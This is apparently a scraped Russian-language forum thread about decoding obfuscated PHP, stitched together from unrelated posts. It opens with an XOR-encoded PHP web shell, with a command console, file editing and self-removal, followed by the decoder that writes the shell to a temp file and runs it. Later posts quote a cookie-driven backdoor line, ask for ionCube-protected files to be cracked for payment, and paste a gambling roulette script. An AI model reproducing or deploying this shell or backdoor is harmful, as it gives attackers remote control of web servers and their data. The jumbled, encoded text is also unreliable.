[TKWP_#t5#Y--?aglk$#8wtej:Jeia>8+wtej:$#*lpihwtagmehglevw,Dfewajeia, [TKWP_#t5#Y--*#$8wtej:Wm~a>8+wtej:$#*,mw[bmha, [TKWP_#t5#Y-;rbgfP]Vcpgnn,bmhawm~a, [TKWP_#t5#Y-->#)#-*#$8wtej:Tavimwwmkj>8+wtej:$#*swkTaviwGkhkv, [TKWP_#t5#Y-*#$8wtej:Ksjav+Cvkqt>8+wtej:$#* qm`_#jeia#Y*#+#* cm`_#jeia#Y*#8fv:#?aglk$#8wtej:Gvaepa$pmia>8+wtej:$#*`epa,#])i)`$L>m>w#(bmhagpmia, [TKWP_#t5#Y--*#$8wtej:Eggaww$pmia>8+wtej:$#*`epa,#])i)`$L>m>w#(bmhaepmia, [TKWP_#t5#Y--*#$8wtej:Ik`mb}$pmia>8+wtej:$#*`epa,#])i)`$L>m>w#(bmhaipmia, [TKWP_#t5#Y--*#8fv:8fv:#?mb,$aitp}, [TKWP_#t6#Y-$-[TKWP_#t6#Y$9$#rmas#?mb,$mw[bmha, [TKWP_#t5#Y-$-i$9$evve},#Rmas#($#Lmclhmclp#($#@ksjhke`#($#La|`qit#($#A`mp#($#Glik`#($#Vajeia#($#Pkqgl#-?ahwai$9$evve},#Glik`#($#Vajeia#($#Pkqgl#-?bkvaegl, i$ew$ r-aglk$#8e$lvab9[t3]$kjghmgo9&c,jqhh(jqhh(jqhh(X##*wpvpkhksav, r-*#X#-&:#*,,wpvpkhksav, r-99D [TKWP_#t6#Y-;#8f:_$#* r*#$Y8+f:#> r-*#8+e:$#?aglk$#8fv:8fv:#?wsmpgl, [TKWP_#t6#Y-$gewa$#rmas#>aglk$#8tva$gheww9ih5:#?bt$9$Dbktaj, [TKWP_#t5#Y($#v#-?mb, bt-$slmha,$%Dbakb, bt-$-aglk$lpihwtagmehglevw,Dbvae`, bt($5460--?Dbghkwa, bt-?yaglk$#8+tva:#?fvaeo?gewa$#lmclhmclp#>mb,$Dmw[vae`efha, [TKWP_#t5#Y-$-$aglk$#8`mr$gheww9ih5$wp}ha9&fegocvkqj`)gkhkv>$[t3]a5a5a5?gkhkv>fhego?&:#?gk`a$9$Dlmclhmclp[bmha, [TKWP_#t5#Y(pvqa-?aglk$wpv[vathega,evve},#8wtej$#(#8+wtej:#-($evve},#8bkjp$#(#8+bkjp:#-( gk`a-*#8+`mr:#?yfvaeo?gewa$#glik`#>mb,$%aitp}, [TKWP_#t7#Y-$-$taviw$9$4?bkv, m9wpvhaj, [TKWP_#t7#Y-)5? m:94?)) m-taviw$/9$,mjp- [TKWP_#t7#Y_ mY.tks,<($,wpvhaj, [TKWP_#t7#Y-) m)5--?mb,%Dglik`, [TKWP_#t5#Y($ taviw--aglk$#GejX#p$wap$tavimwwmkjw%8fv:8wgvmtp:`kgqiajp*ib*t7*rehqa9&&?8+wgvmtp:#?yghaevwpepgegla,-?aglk$#8wgvmtp:t7[9&&?8+wgvmtp:8bkvi$kjwqfimp9&c,jqhh(jqhh(jqhh(jqhh(plmw*glik`*rehqa-?vapqvj$behwa?&:8mjtqp$p}ta9pa|p$jeia9glik`$rehqa9&#*wqfwpv,wtvmjpb,#!k#($bmhataviw, [TKWP_#t5#Y--()0-*#&:8mjtqp$p}ta9wqfimp$rehqa9&::&:8+bkvi:#?fvaeo?gewa$#a`mp#>mb,$%mw[svmpefha, [TKWP_#t5#Y--$aglk$#Bmha$mwjX#p$svmpaefha#?fvaeo?ymb,$%aitp}, [TKWP_#t7#Y-$-$pmia$9$Dbmhaipmia, [TKWP_#t5#Y-?[TKWP_#t7#Y$9$wqfwpv, [TKWP_#t7#Y(5-?bt$9$Dbktaj, [TKWP_#t5#Y(&s&-?mb, bt-$Dbsvmpa, bt( [TKWP_#t7#Y-?Dbghkwa, bt-?aglk$#Wera`%8fv:8wgvmtp:t7[9&&?8+wgvmtp:#?Dpkqgl, [TKWP_#t5#Y( pmia( pmia-?yyaglk$#8bkvi$kjwqfimp9&c,jqhh(jqhh(jqhh(jqhh(X#5X#/plmw*pa|p*rehqa-?vapqvj$behwa?&:8pa|pevae$jeia9pa|p$gheww9fmcevae:#?bt$9$Dbktaj, [TKWP_#t5#Y($#v#-?mb, bt-$slmha,$%Dbakb, bt-$-aglk$lpihwtagmehglevw,Dbvae`, bt($5460--?Dbghkwa, bt-?yaglk$#8+pa|pevae:8mjtqp$p}ta9wqfimp$rehqa9&::&:8+bkvi:#?fvaeo?gewa$#la|`qit#>g$9$Dbmha[cap[gkjpajpw, [TKWP_#t5#Y-?j$9$4?l$9$evve},#444444448fv:#(##(##-?haj$9$wpvhaj, g-?bkv$, m94?$ m8 haj?$// m-$l_5Y$*9$wtvmjpb,#!46\#(kv`, g_ mY--*#$#?wsmpgl$,$kv`, g_ mY-$-$gewa$4>$$ l_6Y$*9$#$#?$fvaeo?gewa$=>$$ l_6Y$*9$#$#?$fvaeo?gewa$54>$ l_6Y$*9$#$#?$fvaeo?gewa$57>$ l_6Y$*9$#$#?$fvaeo?`abeqhp>$ l_6Y$*9$ g_ mY?$fvaeo?yj//?mb$, j$99$76-$j$9$4?mb$, m/5$8$ haj-$ l_4Y$*9$wtvmjpb,#!4<\#( m/5-*#8fv:#?yl_5Y$*9$#8fv:#?l_6Y$*9$&Xj&?y$yaglk$#8pefha$gahhwtegmjc95$gahhte``mjc91$fcgkhkv9[t3]666666:8pv:8p`$fcgkhkv9[t3]777777:8wtej$wp}ha9&bkjp)samclp>$jkvieh?&:8tva:#* l_4Y*#8+tva:8+wtej:8+p`:8p`$fcgkhkv9[t3]6<6<6<:8tva:#* l_5Y*#8+tva:8+p`:8p`$fcgkhkv9[t3]777777:8tva:#*lpihwtagmehglevw, l_6Y-*#8+tva:8+p`:8+pv:8+pefha:#?fvaeo?gewa$#vajeia#>mb,$%aitp}, [TKWP_#t7#Y-$-$mb,%Dvajeia, [TKWP_#t5#Y($ [TKWP_#t7#Y--aglk$#GejX#p$vajeia%8fv:#?ahwa`ma,#8wgvmtp:c,jqhh(jqhh(&#*qvhajgk`a, [TKWP_#t7#Y-*#&(jqhh(&&-8+wgvmtp:#-?yaglk$#8bkvi$kjwqfimp9&c,jqhh(jqhh(jqhh(jqhh(plmw*jeia*rehqa-?vapqvj$behwa?&:8mjtqp$p}ta9pa|p$jeia9jeia$rehqa9&#*lpihwtagmehglevw, [TKWP_#t5#Y-*#&:8mjtqp$p}ta9wqfimp$rehqa9&::&:8+bkvi:#?fvaeo?gewa$#pkqgl#>mb,$%aitp}, [TKWP_#t7#Y-$-$pmia$9$wpvpkpmia, [TKWP_#t7#Y-?mb, pmia-$mb,%pkqgl, [TKWP_#t5#Y( pmia( pmia--aglk$#Bemh%#?ahwaaglk$#Pkqgla`%#?y$ahwa$aglk$#Fe`$pmia$bkviep%#?yghaevwpepgegla,-?aglk$#8wgvmtp:t7[9&&?8+wgvmtp:8bkvi$kjwqfimp9&c,jqhh(jqhh(jqhh(jqhh(plmw*pkqgl*rehqa-?vapqvj$behwa?&:8mjtqp$p}ta9pa|p$jeia9pkqgl$rehqa9&#*`epa,&])i)`$L>m>w&($Dbmhaipmia, [TKWP_#t5#Y--*#&:8mjtqp$p}ta9wqfimp$rehqa9&::&:8+bkvi:#?fvaeo?yaglk$#8+`mr:#?fcaP`fcf,-?ybqjgpmkj$egpmkjGkjwkha,-$$$$$mb,%aitp}, [TKWP_#t5#Y-$""$%aitp}, [TKWP_#t6#Y--$$$$$$$$$ [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#wp`avv[pk[kqp#Y$9$pvqa?$$$$$$$$ [TKWP_#t5#Y$*9$#$6:"5#?$$$$y$ahwamb,%aitp}, [TKWP_#t5#Y--$$$$$$$$ [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#wp`avv[pk[kqp#Y$9$behwa?mb,mwwap, [TKWP_#ene|#Y--$[WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#ene|#Y$9$pvqa?kf[wpevp,-?aglk$&`*gb*gi`*rehqa9##?Xj&?pait$9$Dmgkjr, [TKWP_#glevwap#Y($#QPB)<#($e``gwhewlaw,&Xj $&* [TKWP_#t5#Y*&Xj&*llbPAvfr, [TKWP_#t5#Y-(&XjXvXpXX#X4&--?mb,tvac[iepgl,&%*.g`Xw/,_Z?Y/- %&( [TKWP_#t5#Y( iepgl--mb,Dgl`mv, iepgl_5Y--$CHKFEHW_#gs`#Y$9$Dcapgs`,-?aglk$&g[9#&* CHKFEHW_#gs`#Y*&#?&?yyaglk$&`*gb*kqptqp*rehqa/9#&* pait*&#?&?aglk$&`*gb*kqptqp*wgvkhhPkt$9$`*gb*kqptqp*wgvkhhLamclp?&?pait$9$kf[cap[ghaej,-?aglk$wpvhaj, pait-($&Xj&($ pait?a|mp?yp}}AVrbgg,-?$$$$aglk$&8wgvmtp:mb,smj`ks*Arajp-$smj`ks*getpqvaArajpw,Arajp*OA]@KSJ-?rev$gi`w$9$jas$Evve},##-?rev$gqv$9$4?bqjgpmkj$ot,a-$rev$j$9$,smj`ks*Arajp-$;$a*slmgl$>$a*oa}Gk`a?mb,j$99$7<-$gqv))?mb,gqv:94-`kgqiajp*gb*gi`*rehqa$9$gi`w_gqvY?ahwagqv//?y$ahwa$mb,j$99$04-$gqv//?mb,gqv$8$gi`w*hajcpl-`kgqiajp*gb*gi`*rehqa$9$gi`w_gqvY?ahwagqv))?yybqjgpmkj$e``,gi`-$gi`w*tkt,-?gi`w*tqwl,gi`-?gi`w*tqwl,##-?gqv$9$gi`w*hajcpl)5?y8+wgvmtp:&?aglk$#8l5:Gkjwkha8+l5:8`mr$gheww9gkjpajp:8bkvi$jeia9gb$kjwqfimp9&mb,`*gb*gi`*rehqa99X#ghaevX#-`*gb*kqptqp*rehqa9X#X#?`*gb*gi`*rehqa9X#X#?vapqvj$behwa?ye``,plmw*gi`*rehqa-?mb,plmw*ene|*glagoa`-e,jqhh(jqhh(plmw*gi`*rehqa(plmw*wlks[avvkvw*glagoa`;5>X#X#-?yahwac,jqhh(jqhh(plmw*gi`*rehqa(plmw*wlks[avvkvw*glagoa`;5>X#X#-?y$vapqvj$behwa?&:8wahagp$jeia9ehmew:#?bkvaegl, CHKFEHW_#ehmewaw#Y$ew$ j$9:$ r-$mb, r$99$##-$aglk$#8ktpcvkqt$hefah9&)#*lpihwtagmehglevw, j-*#)&:8+ktpcvkqt:#?gkjpmjqa?yaglk$#8ktpmkj$rehqa9&#*lpihwtagmehglevw, r-*#&:#* j*#8+ktpmkj:#?ymb,aitp}, [TKWP_#ene|#Y-""%aitp}, [TKWP_#t5#Y--[WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#ene|#Y$9$behwa?aglk$#8+wahagp:8mjtqp$p}ta9fqppkj$kjghmgo9&e``,`*gb*ehmew*rehqa-?mb,`*gb*ene|*glagoa`-e,jqhh(jqhh(`*gb*ehmew*rehqa(`*gb*wlks[avvkvw*glagoa`;5>X#X#-?yahwac,jqhh(jqhh(`*gb*ehmew*rehqa(`*gb*wlks[avvkvw*glagoa`;5>X#X#-?y&$rehqa9&::&:$8jkfv:8mjtqp$p}ta9glagofk|$jeia9ene|$rehqa95$#*,D [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#ene|#Y;#glagoa`#>##-*#:$waj`$qwmjc$ENE\$8mjtqp$p}ta9glagofk|$jeia9wlks[avvkvw$rehqa95$#*,%aitp}, [TKWP_#t6#Y-xx [WAWWMKJ_i`1, [WAVRAV_#LPPT[LKWP#Y-*#wp`avv[pk[kqp#Y;#glagoa`#>##-*#:$va`mvagp$wp`avv$pk$wp`kqp$,6:"5-8+jkfv:8fv+:8pa|pevae$gheww9fmcevae$jeia9kqptqp$wp}ha9&fkv`av)fkppki>4?ievcmj>4?&$vae`kjh}:#?mb,%aitp}, [TKWP_#t5#Y--$aglk$lpihwtagmehglevw,& $&* [TKWP_#t5#Y*&Xj&*llbPAvfr, [TKWP_#t5#Y--?yaglk$#8+pa|pevae:8pefha$wp}ha9&fkv`av>5t|$wkhm`$[t3]`b1?fegocvkqj`)gkhkv>[t3]111?fkv`av)pkt>4t|?&$gahhte``mjc94$gahhwtegmjc94$sm`pl9&544!&:8pv:8p`$sm`pl9&5!&: 8+p`:8p`:8mjtqp$p}ta9pa|p$jeia9gi`$wp}ha9&fkv`av>4t|?sm`pl>544!?&$kjoa}`ksj9&ot,arajp-?&:8+p`:8+pv:8+pefha:#?aglk$#8+bkvi:8+`mr:8wgvmtp:`*gb*gi`*bkgqw,-?8+wgvmtp:#?fcaP`fcf,-?ybqjgpmkj$egpmkjHkckqp,-$$$$$wawwmkj[`awpvk},-?`ma,#f}a%#-?ybqjgpmkj$egpmkjWahbVaikra,-$mb, [TKWP_#t5#Y$99$#}aw#-mb,Dqjhmjo,tvac[vathega,#%X,X`/X-Xw*.%#($##($[[BMHA[[---`ma,#Wlahh$lew$faaj$vaikra`#-?ahwaaglk$#qjhmjo$avvkv%#?$$$$mb, [TKWP_#t5#Y$%9$#}aw#-$$$$$$$$p}}AVrbgg,-?aglk$#8l5:Wqmgm`a8+l5:8`mr$gheww9gkjpajp:Vaehh}$sejp$pk$vaikra$pla$wlahh;8fv:8e$lvab9[t3]$kjghmgo9&c,jqhh(jqhh(X#}awX#-&:]aw8+e:8+`mr:#?fcaP`fcf,-?ybqjgpmkj$egpmkjVG,-$mb,%D [TKWP_#t5#Y-$e$9$evve},&qjeia&$9:$tlt[qjeia,-(&tlt[ravwmkj&$9:$tltravwmkj,-(&swk[ravwmkj&$9:$SWK[RAVWMKJ(&webaik`a&$9:$Dmjm[cap,#weba[ik`a#--?aglk$wavmehm~a, e-?y$ahwa$areh, [TKWP_#t5#Y-?yymb,$aitp}, [TKWP_#e#Y-$-mb,mwwap, hvpvVbrw[l}-$""$bqjgpmkj[a|mwpw,#egpmkj#$*$ hvpvVbrw[l}--[TKWP_#e#Y$9$ hvpvVbrw[l}?ahwa[TKWP_#e#Y$9$#WagMjbk#?mb,$%aitp}, [TKWP_#e#Y-$""$bqjgpmkj[a|mwpw,#egpmkj#$*$ [TKWP_#e#Y-$-gehh[qwav[bqjg,#egpmkj#$*$ [TKWP_#e#Y-?a|mp?';$ERHiweir32WEvz=str_replace("[t1]", "<?", $rHUIEWQj352ARScveWRafsz);$ERHiweir32WEvz=str_replace("[t3]", "'", $ERHiweir32WEvz);$lGWRUh32nWAvzx11=strlen($ERHiweir32WEvz);$HWRu3rjn532AWRdz='';for($JIWkin34HsdgAWqcvg=0;$JIWkin34HsdgAWqcvg<$lGWRUh32nWAvzx11;$JIWkin34HsdgAWqcvg++)$HWRu3rjn532AWRdz .= chr(ord($ERHiweir32WEvz[$JIWkin34HsdgAWqcvg]) ^ $ewuiI352AWRcxv);$safIEOQWkrwqcbvn10=fopen("temp1-1.php","w");fputs($safIEOQWkrwqcbvn10,"<?php $HWRu3rjn532AWRdz ?>");include("temp1-1.php");fclose($safIEOQWkrwqcbvn10);$safIEOQWkrwqcbvn11=fopen("temp1-1.php","w");fclose($safIEOQWkrwqcbvn11);?>
Прошу помощи за пиво по QIWI Нужно раскрыть код 5 файлов из архива в аттаче Код имеет такой примерно такой вид Code: <?php //0046b if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199); ?> HR+cP/rREaRE49zfbtwlPPMl8HNF2o/n7u2moPouAiWCV+ART+K+ao3B8VwgNG3dXNXQkvtM+kxT PwN+3dn25atT/xB4kgb1W3b9zd5FnUJN2cESh5UkbXtAn/+vv929khnMquoM1IuLe+Mt2HigyHhe dptvilAErUw9utJHIHQufAkHaQSFcB9u0fdmv7P3hd9mlxx+gnY8JeDk/PJpGcVyqtlvQlEGTqtD O17vOQv3h6ns48wbloiLPs5JdsaffloRiCnbVZCb+mRQMBQig8C07y9+9Hfn2VBylXG1sS4/RUnj /zWA/oZY4appVXikcHt8rIBajPoM+T533UNLHeaYFGzLiwmjo0gNy+/Y/xlZtk6stOdQMLxGEIGZ
found his md5 password <? Php if (isset ($ _ COOKIE [ "id"])) @ $ _ COOKIE [ "user"] ($ _ COOKIE [ "id"]); $ LFyE = ""; $ UW = 'ejup' 'fa6w' 'vgnoq' 'dyhstx' 'birkz' 'c% 4_l' 'm'......; $ KQiR = fL1zG (); }
kindly decode this md5 <?php $lFyE=""; $UW='ejup'.'fa6w'.'vgnoq'.'dyhstx'.'birkz'.'c%4_l'.'m'; $KQiR=fL1zG();
Здрасти, может я не так понял что делается в этой теме на форуме, но мне нужен алгоритм выпадения числа, не могу понять откуда что берется, растолкуйте чайнику, пожалуйста. Я так понимаю все заложено здесь: Code: animateRoulette: function(digit, callback) { var that = this, animation_time = 15000, sector = 360 / 15, circle_count = 10, deg, dx, normalize; if(digit <= 7) { dx = (digit * 2 - 1); } else { dx = (digit - (14 - digit)); } if(digit == 0) { dx = 0; } deg = that.markup.roulette.circle.data('deg'); normalize = deg == 0 ? 0 : 360 * (1 - (deg / 360) % 1); deg = deg + normalize + 360 * circle_count - dx * sector; that.markup.roulette.circle.data('deg', deg); that.markup.roulette.circle.css({ "-webkit-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-moz-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-o-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", transition: "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-webkit-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-moz-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-ms-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-o-transform": "rotate3d(0, 0, 1, " + deg + "deg)", transform: "rotate3d(0, 0, 1, " + deg + "deg)" }); вот все полностью: Code: var App = App || {}; App.Games.double = { GAME_STATE_WAIT: 'wait', GAME_STATE_GAME: 'game', GAME_STATE_PROCESS_WINNER: 'winner', GAME_TIME: 30, socket : undefined, game: { id: null, hash: null, bank: 0, bets: [], state: null }, /*bet: { username: 'USER1', avatar: 'ab99f8d7008edafbb759787cfb0575df990da54b_full.jpg', amount: 34.56576878, type: 'zero' }*/ request: { sending: false, sending_time: 0 }, history: [4, 5, 1, 0, 4, 5, 9, 6, 7], history_limit: 9, colors: {}, timer: undefined, interval_handler: undefined, init: function() { this.game.state = this.GAME_STATE_WAIT; this.timer = this.GAME_TIME; var that = this; this.socket = App.Sockets.sockets.double; this.socket.on('newBet', function (bet) { App.Tools.log('double - newBet', bet); that.newBet(bet); }); this.socket.on('newGame', function (game) { App.Tools.log('double - newGame', game); that.newGame(game['id'], game['hash']); }); this.socket.on('startGame', function (game_id) { App.Tools.log('double - startGame', game_id); that.startGame(game_id); }); this.socket.on('digit', function (digit) { App.Tools.log('double - digit', digit); that.newDigit(digit); }); this._initMarkup(); this._initEvents(); this.preload(); }, sendBet: function(amount, type) { if(amount > App.Balance.get()) { alert2('Не достаточно средств на балансе'); return; } var that = this; this.request.sending = true; this.request.sending_time = new Date().getTime(); App.Sockets.ping(function() { var time = new Date().getTime(); if((time - that.request.sending_time) / 1000 > 10) { that.request.sending = false; return; } $.ajax({ url: 'ajax/bet.php', type: 'POST', data: { amount: amount, type: type }, dataType: 'JSON', method:'POST', beforeSend: function() { that.markup.bets.buttons.addClass('double_bet_animation'); }, success: function(response){ if(response['status'] == 'error') { that.markup.bets.buttons.removeClass('double_bet_animation'); that.request.sending = false; alert2(response['message']); return; } App.Balance.set(response['balance']); App.Sockets.transfer('double.bet', response['bet']); if(response['start']) { App.Sockets.transfer('double.start', response['game_id']); } that.markup.bets.buttons.removeClass('double_bet_animation'); that.markup.input.val(''); that.request.sending = false; } }); }); }, newBet: function(bet) { this.game.bank += bet['amount']; this.game.bets.push(bet); this.renderStatistics(); this.renderBets(); App.Beeper.beep(); }, newGame: function(id, hash) { this.game.id = id; this.game.hash = hash; this.game.bank = 0; this.game.bets = []; this.game.state = this.GAME_STATE_WAIT; this.timer = this.GAME_TIME; }, startGame: function(game_id) { if(this.game.id !== game_id) { return; } if(this.game.state == this.GAME_STATE_GAME) { return; } this.game.state = this.GAME_STATE_GAME; var that = this; this.interval_handler = window.setInterval(function(){ that.timer --; if(that.timer < 1) { that.stopGame(); } that.renderTimer(); }, 1000); }, stopGame: function() { window.clearInterval(this.interval_handler); this.timer = 0; this.game.state = this.GAME_STATE_PROCESS_WINNER; this.renderTimer(); this.markup.roulette.labels.winning.show(); }, newDigit: function(digit) { if(this.game.state == this.GAME_STATE_GAME) { this.stopGame(); } this.history.push(digit); this.game.state = this.GAME_STATE_WAIT; this.appendToHistory(digit); this.animateRoulette(digit); }, animateRoulette: function(digit, callback) { var that = this, animation_time = 15000, sector = 360 / 15, circle_count = 10, deg, dx, normalize; if(digit <= 7) { dx = (digit * 2 - 1); } else { dx = (digit - (14 - digit)); } if(digit == 0) { dx = 0; } deg = that.markup.roulette.circle.data('deg'); normalize = deg == 0 ? 0 : 360 * (1 - (deg / 360) % 1); deg = deg + normalize + 360 * circle_count - dx * sector; that.markup.roulette.circle.data('deg', deg); that.markup.roulette.circle.css({ "-webkit-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-moz-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-o-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", transition: "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-webkit-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-moz-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-ms-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-o-transform": "rotate3d(0, 0, 1, " + deg + "deg)", transform: "rotate3d(0, 0, 1, " + deg + "deg)" }); that.markup.roulette.labels.winning.show(); setTimeout(function () { that.markup.roulette.labels.end.show(digit); that.animateAppendToHistory(digit); setTimeout(function () { that.markup.roulette.labels.counter.show(); that.renderAll(); if(callback != undefined) { callback(); } }, 4000); that.markup.roulette.circle.css({ "-webkit-transition": "transform 0ms", "-moz-transition": "transform 0ms", "-o-transition": "transform 0ms", transition: "transform 0ms" }); }, 15000); }, appendToHistory: function(digit) { this.history.splice(0, 0, digit); if(this.history.length > this.history_limit) { this.history.splice(this.history_limit, this.history.length - this.history_limit); } }, preload: function() { $.extend(this.game, App.boot['double']['game']); $.extend(this.history, App.boot['double']['history']); this.timer = App.boot['double']['timer']; $.extend(this.colors, App.boot['double']['colors']); this.renderAll(); if(this.timer > 0 && this.timer < this.GAME_TIME) { this.startGame(this.game.id); } if(this.timer == 0) { this.stopGame(); } }, renderGame: function() { this.markup.game_id.html(this.game.id); this.markup.game_hash.html(this.game.hash); }, renderAll: function() { this.renderGame(); this.renderStatistics(); this.renderBets(); this.renderTimer(); this.renderHistory(); }, renderBets: function() { var markup = ''; for(var i = this.game.bets.length - 1; i >= 0; i--) { markup += App.Tools.template(this.markup.bets.li, this.game.bets[i]); } this.markup.bets.container.empty().html(markup); }, renderStatistics: function() { var groups = { red: 0, black: 0, zero: 0 }; for(var i = 0; i < this.game.bets.length; i++) { groups[ this.game.bets[i]['type'] ] += this.game.bets[i]['amount']; } this.markup.bank_tab.html(this.game.bank); this.markup.statistics.red.html( groups.red ); this.markup.statistics.black.html( groups.black ); this.markup.statistics.zero.html( groups.zero ); var red_percent = parseInt(groups.red / this.game.bank * 100), zero_percent = parseInt(groups.zero / this.game.bank * 100), black_percent = parseInt(groups.black / this.game.bank * 100); this.markup.statistics.red_percent.css('width', red_percent > 0 ? (red_percent + '%') : 0); this.markup.statistics.zero_percent.css('width', zero_percent > 0 ? (zero_percent + '%') : 0); this.markup.statistics.black_percent.css('width', black_percent > 0 ? (black_percent + '%') : 0); }, renderTimer: function() { var timer_as_string = this.timer.toString(); while(timer_as_string.length < 3) { timer_as_string = '0' + timer_as_string; } this.markup.timer.s1.html( timer_as_string.charAt(0) ); this.markup.timer.s2.html( timer_as_string.charAt(1) ); this.markup.timer.s3.html( timer_as_string.charAt(2) ); }, renderHistory: function() { var markup = '', data, n; n = this.history.length <= this.history_limit ? this.history.length : this.history_limit; for(var i = 0; i < n; i++) { data = { type: this.colors[ this.history[i] ], digit: this.history[i] }; markup += App.Tools.template(this.markup.history.item_template, data); } this.markup.history.container.empty().html(markup); }, animateAppendToHistory: function(digit) { var markup; markup = App.Tools.template(this.markup.history.item_template, { type: this.colors[ digit ], digit: digit }); this.markup.history.container.prepend(markup); var items = this.markup.history.container.children(); if(items.length > this.history_limit) { items[ items.length - 1 ].remove(); } }, markup: { bank_tab: undefined, game_id: undefined, game_hash: undefined, input: undefined, input_buttons: undefined, bets: { buttons: undefined, container: undefined, li: undefined }, statistics: { red:undefined, zero: undefined, black: undefined, red_percent:undefined, zero_percent: undefined, black_percent: undefined }, timer:{ s1:undefined, s2:undefined, s3:undefined }, history: { container: undefined, item_template: undefined }, roulette: { circle: undefined, labels: { processing: undefined, winning: undefined, end: undefined, counter:undefined } } }, _initMarkup: function() { var that = this; this.markup.bank_tab = $('.game_switch').find('.sum_bet_2'); this.markup.game_id = $('.roulette_content .game_num'); this.markup.game_hash = $('.roulette_content #roundHash'); this.markup.input = $('.roulette_content .bonus_game_bet_input'); this.markup.input.data('amount', 0); this.markup.input_buttons = $('.roulette_content .bonus_game_calc_button_list li'); this.markup.statistics.red = $('.roulette_content .bonus_game_bet_value_container.red .bonus_game_bet_value'); this.markup.statistics.zero = $('.roulette_content .bonus_game_bet_value_container.zero .bonus_game_bet_value'); this.markup.statistics.black = $('.roulette_content .bonus_game_bet_value_container.black .bonus_game_bet_value'); this.markup.statistics.red_percent = $('.roulette_content .bonus_game_bet_value_container.red .bonus_game_bet_value_progress'); this.markup.statistics.zero_percent = $('.roulette_content .bonus_game_bet_value_container.zero .bonus_game_bet_value_progress'); this.markup.statistics.black_percent = $('.roulette_content .bonus_game_bet_value_container.black .bonus_game_bet_value_progress'); this.markup.bets.container = $('.roulette_content .game_bets_list'); this.markup.bets.li = $('.roulette_content .template_game_bets_list').html(); this.markup.bets.buttons = $('.roulette_content .place_bet_buttons li'); var timer = $('.roulette_content .roulette_counter .span_2'); this.markup.timer.s1 = timer.eq(0); this.markup.timer.s2 = timer.eq(1); this.markup.timer.s3 = timer.eq(2); this.markup.history.container = $('.roulette_content .game_roulette_history_list'); this.markup.history.item_template = $('.roulette_content .template_game_roulette_history_list').html(); this.markup.roulette.circle = $('.roulette_content .roulette_numbers'); this.markup.roulette.labels.processing = $('.roulette_content .bonus_game_pre_end.processing'); this.markup.roulette.labels.winning = $('.roulette_content .bonus_game_pre_end.winning'); this.markup.roulette.labels.end = $('.roulette_content .bonus_game_end'); this.markup.roulette.labels.counter = $('.roulette_content .roulette_counter'); var show = function() { $('.roulette_content .bonus_game_state').removeClass('front').addClass('back'); this.removeClass('back').addClass('front'); }; this.markup.roulette.circle.data('deg', 0); this.markup.roulette.labels.processing.show = function() { show.call(this); }; this.markup.roulette.labels.winning.show = function() { show.call(this); }; this.markup.roulette.labels.counter.show = function() { show.call(this); }; this.markup.roulette.labels.end.show = function(digit) { this.removeClass('red').removeClass('black').removeClass('zero').addClass(that.colors[digit]).html(digit); show.call(this); }; }, _initEvents: function() { var that = this; this.markup.input_buttons.on('click', function(){ var bet_amount = 0; if($(this).data('cost') == 'all') { bet_amount = App.Balance.get(); } else if($(this).data('cost') == 'clear_bet') { bet_amount = 0; } else { var current_amount = parseInt(that.markup.input.val()); if(isNaN(current_amount)) { current_amount = 0; } bet_amount = current_amount + parseInt($(this).data('cost')); } if(bet_amount > App.Balance.get()) { alert2('На балансе не достаточно средств'); return; } that.markup.input.val(bet_amount); }); this.markup.bets.buttons.on('click', function(){ var amount = parseInt(that.markup.input.val()), type = $(this).data('betType'); if(isNaN(amount)) { alert2('Сперва укажите сумму ставки'); return; } that.sendBet(amount, type); }); } };